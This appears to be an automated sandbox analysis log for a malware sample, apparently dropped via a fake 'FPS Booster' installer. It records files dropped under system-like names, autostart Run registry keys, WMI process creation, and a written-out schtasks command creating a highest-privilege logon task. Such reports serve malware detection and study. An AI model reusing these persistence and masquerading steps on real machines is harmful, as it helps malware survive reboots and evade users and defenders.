Source:	Binary string: C:\Windows\Microsoft.VisualStudio.Threading.pdbpdbing.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000B95000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: WER2082.tmp.dmp.6.dr
Source:	Binary string: E:\A\_work\40\s\obj\Microsoft.VisualStudio.Threading\Release\net45\Microsoft.VisualStudio.Threading.pdbpdb source: UNFOT5F1qt.exe, 00000000.00000002.1455288288.00000000008F9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Core.ni.pdb source: WER2082.tmp.dmp.6.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER2082.tmp.dmp.6.dr
Source:	Binary string: System.Core.pdbPSp source: WER2082.tmp.dmp.6.dr
Source:	Binary string: ?[oC:\Users\user\Desktop\Microsoft.VisualStudio.Threading.pdbJ source: UNFOT5F1qt.exe, 00000000.00000002.1455288288.00000000008F9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: inaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WER2082.tmp.dmp.6.dr
Source:	Binary string: mscorlib.pdb source: WER2082.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: symbols\exe\Microsoft.VisualStudio.Threading.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455288288.00000000008F9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualStudio.Threading.pdb source: WER2082.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Users\user\Desktop\Microsoft.VisualStudio.Threading.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.VisualBasic.pdbpdbsic.pdbs source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000B95000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WER2082.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdbS source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdb97` source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\A\_work\40\s\obj\Microsoft.VisualStudio.Threading\Release\net45\Microsoft.VisualStudio.Threading.pdbXX@ source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WER2082.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Windows\exe\Microsoft.VisualStudio.Threading.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdbLLt source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WER2082.tmp.dmp.6.dr
Source:	Binary string: @[o.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455288288.00000000008F9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Core.ni.pdbRSDS source: WER2082.tmp.dmp.6.dr
Source:	Binary string: \??\C:\Windows\symbols\exe\Microsoft.VisualStudio.Threading.pdb source: UNFOT5F1qt.exe, 00000000.00000002.1455647318.0000000000C00000.00000004.00000020.00020000.00000000.sdmp

Source: UNFOT5F1qt.exe

Static PE information: 0xE61CCFF4 [Sat May 3 10:12:04 2092 UTC]

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe

Code function: 2_2_004011CF LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleFileNameA,GetEnvironmentVariableA,

2_2_004011CF

Source: UNFOT5F1qt.exe

Static PE information: real checksum: 0xf8401 should be: 0x11d846

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Code function: 0_2_00F31140 pushad ; ret	0_2_00F31141
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Code function: 5_2_00007FF887B200BD pushad ; iretd	5_2_00007FF887B200C1
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Code function: 17_2_00007FF887B3A425 push es; retn 7002h	17_2_00007FF887B3A909
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Code function: 17_2_00007FF887B401DC push es; retn 7002h	17_2_00007FF887B402B9
Source: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Code function: 17_2_00007FF887B300BD pushad ; iretd	17_2_00007FF887B300C1
Source: C:\Windows\regedit\explorer.exe	Code function: 18_2_00007FF887B400BD pushad ; iretd	18_2_00007FF887B400C1
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Code function: 19_2_00007FF887B500BD pushad ; iretd	19_2_00007FF887B500C1
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Code function: 23_2_00007FF887B2A425 push es; retn 7002h	23_2_00007FF887B2A909
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Code function: 23_2_00007FF887B3058C push es; retn 7002h	23_2_00007FF887B30669
Source: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Code function: 23_2_00007FF887B200BD pushad ; iretd	23_2_00007FF887B200C1
Source: C:\Windows\regedit\explorer.exe	Code function: 27_2_00007FF887C7058C push es; retn 7002h	27_2_00007FF887C70669
Source: C:\Windows\regedit\explorer.exe	Code function: 27_2_00007FF887C6A425 push es; retn 7002h	27_2_00007FF887C6A909
Source: C:\Windows\regedit\explorer.exe	Code function: 27_2_00007FF887C600BD pushad ; iretd	27_2_00007FF887C600C1

Source: UNFOT5F1qt.exe

Static PE information: section name: .text entropy: 7.874259568369085

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Drops PE files with benign system names

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe

File created: C:\Windows\regedit\explorer.exe

Jump to dropped file

Drops executables to the windows directory (C:\Windows) and starts them

Source: unknown	Executable created and started: C:\Windows\regedit\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Executable created and started: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	File created: C:\Users\Default\WmiPrvSE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	File created: C:\Users\user\AppData\Local\Temp\nss20C1.tmp\nsDialogs.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	File created: C:\Users\user\AppData\Local\Temp\nss20C1.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	File created: C:\Recovery\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	File created: C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	File created: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	File created: C:\Windows\regedit\explorer.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	File created: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe	Jump to dropped file
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	File created: C:\Users\user\AppData\Local\Temp\FPS Booster 2.0.7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	File created: C:\Users\Public\Pictures\RuntimeBroker.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	File created: C:\ProgramData\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe

File created: C:\ProgramData\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe

File created: C:\Users\Default\WmiPrvSE.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	File created: C:\Windows\regedit\explorer.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	File created: C:\Windows\SysWOW64\MsRdpWebAccess\WerFault.exe			Jump to dropped file

Boot Survival

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe

Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WerFault

Jump to behavior

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WmiPrvSE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HSZUYllrTVQhIRaXpKBgYbmVnCoTc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WerFault	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run explorer	Jump to behavior

Drops PE files to the user root directory

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe

File created: C:\Users\Default\WmiPrvSE.exe

Jump to dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "HSZUYllrTVQhIRaXpKBgYbmVnCoTc" /sc ONLOGON /tr "'C:\Recovery\HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe'" /rl HIGHEST /f

Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HSZUYllrTVQhIRaXpKBgYbmVnCoTc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HSZUYllrTVQhIRaXpKBgYbmVnCoTc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WmiPrvSE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WmiPrvSE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WerFault	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run WerFault	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run explorer	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run explorer	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HSZUYllrTVQhIRaXpKBgYbmVnCoTc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HSZUYllrTVQhIRaXpKBgYbmVnCoTc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HSZUYllrTVQhIRaXpKBgYbmVnCoTc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run HSZUYllrTVQhIRaXpKBgYbmVnCoTc	Jump to behavior

Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UNFOT5F1qt.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\savesbrokerDriverSavesbroker.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
